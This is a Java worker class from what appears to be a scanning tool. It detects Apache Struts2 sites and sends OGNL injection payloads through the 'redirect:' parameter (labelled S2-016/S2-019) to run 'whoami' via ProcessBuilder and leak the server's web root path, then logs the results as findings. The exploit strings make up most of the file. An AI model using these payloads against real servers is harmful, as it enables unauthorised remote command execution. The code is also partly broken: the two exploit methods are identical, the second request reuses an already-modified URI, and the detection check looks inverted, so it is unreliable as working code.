package com.tkk.monitoring.analyze.exp.java;

import com.tkk.monitoring.analyze.AnalyzeTarget;
import com.tkk.monitoring.analyze.AnalyzeWorker;
import com.tkk.monitoring.analyze.config.Property;
import com.tkk.monitoring.analyze.db.DB;
import com.tkk.monitoring.analyze.db.Poc;
import com.tkk.monitoring.analyze.http.Session;
import org.apache.commons.lang.StringUtils;
import org.apache.http.Header;
import org.apache.http.client.methods.CloseableHttpResponse;

import java.io.IOException;
import java.util.*;

/**
 * author: Tkk
 * date: 2015/7/9
 */
public class Struts2AnalyzeWorker extends AnalyzeWorker {

    private static final Property property = new Property("struts2.txt");
    private static final List<String> checking = new ArrayList<String>();

    static {
        List<Poc> pocs = DB.getInstance().getPocByType("struts2注入");
        for (Poc poc : pocs) {
            checking.add(poc.getRequest());
        }
    }

    public Struts2AnalyzeWorker(AnalyzeTarget target) {
        super(target);
    }

    @Override
    public void run() {
        if (true) {
            return;
        }
        String uri = target.getUri();
        String site = target.getSite();
        Session session = new Session(uri, "get", target.getHeaders());
        try {
            if (isNotChecked() && isStruts2(session)) {
                String s16 = getHackByS16(session);
                String s19 = getHackByS19(session);

                //
                DB.getInstance().addPoc("struts2注入", site, s16 + "\n" + s19, "");
            }
        } finally {
            session.close();
        }
    }

    private String getHackByS19(Session session) {
        String uri = target.getUri();
        //1. 获取用户名
        uri = String.format("%s?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'%s'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}", uri, "whoami");
        session.setUri(uri);
        String user = session.content(Collections.EMPTY_MAP);

        //2. 获取网站路径
        uri = String.format("%s?redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#b=#a.getRealPath(\"/\"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#b),#matt.getWriter().flush(),#matt.getWriter().close()}", uri);
        session.setUri(uri);
        String path = session.content(Collections.EMPTY_MAP);
        return user + "　｜　" + path;
    }

    private String getHackByS16(Session session) {
        String uri = target.getUri();
        //1. 获取用户名
        uri = String.format("%s?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'%s'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}", uri, "whoami");
        session.setUri(uri);
        String user = session.content(Collections.EMPTY_MAP);

        //2. 获取网站路径
        uri = String.format("%s?redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#b=#a.getRealPath(\"/\"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#b),#matt.getWriter().flush(),#matt.getWriter().close()}", uri);
        session.setUri(uri);
        String path = session.content(Collections.EMPTY_MAP);
        return user + "　｜　" + path;
    }


    /**
     * @param session
     * @return
     */
    private boolean isStruts2(Session session) {
        CloseableHttpResponse response = session.response(Collections.EMPTY_MAP);

        //1.
        Header[] headers = response.getAllHeaders();
        for (Header header : headers) {
            if (StringUtils.equalsIgnoreCase(header.getName(), "Set-Cookie")) {
                if (header.getValue().indexOf("JSESSIONID") != -1) {
                    break;
                } else {
                    return false;
                }
            }
        }

        //2. 结尾是.do, .html, .action结尾的都可能是
        if (property.getPattern("action").matcher(target.getUri()).find()) {
            return false;
        }

        try {
            response.close();
        } catch (IOException e) {
        }
        return true;
    }

    /**
     * @return
     */
    private boolean isNotChecked() {
        String site = target.getSite();
        if (checking.contains(site)) {
            return false;
        } else {
            checking.add(site);
            return true;
        }
    }
}
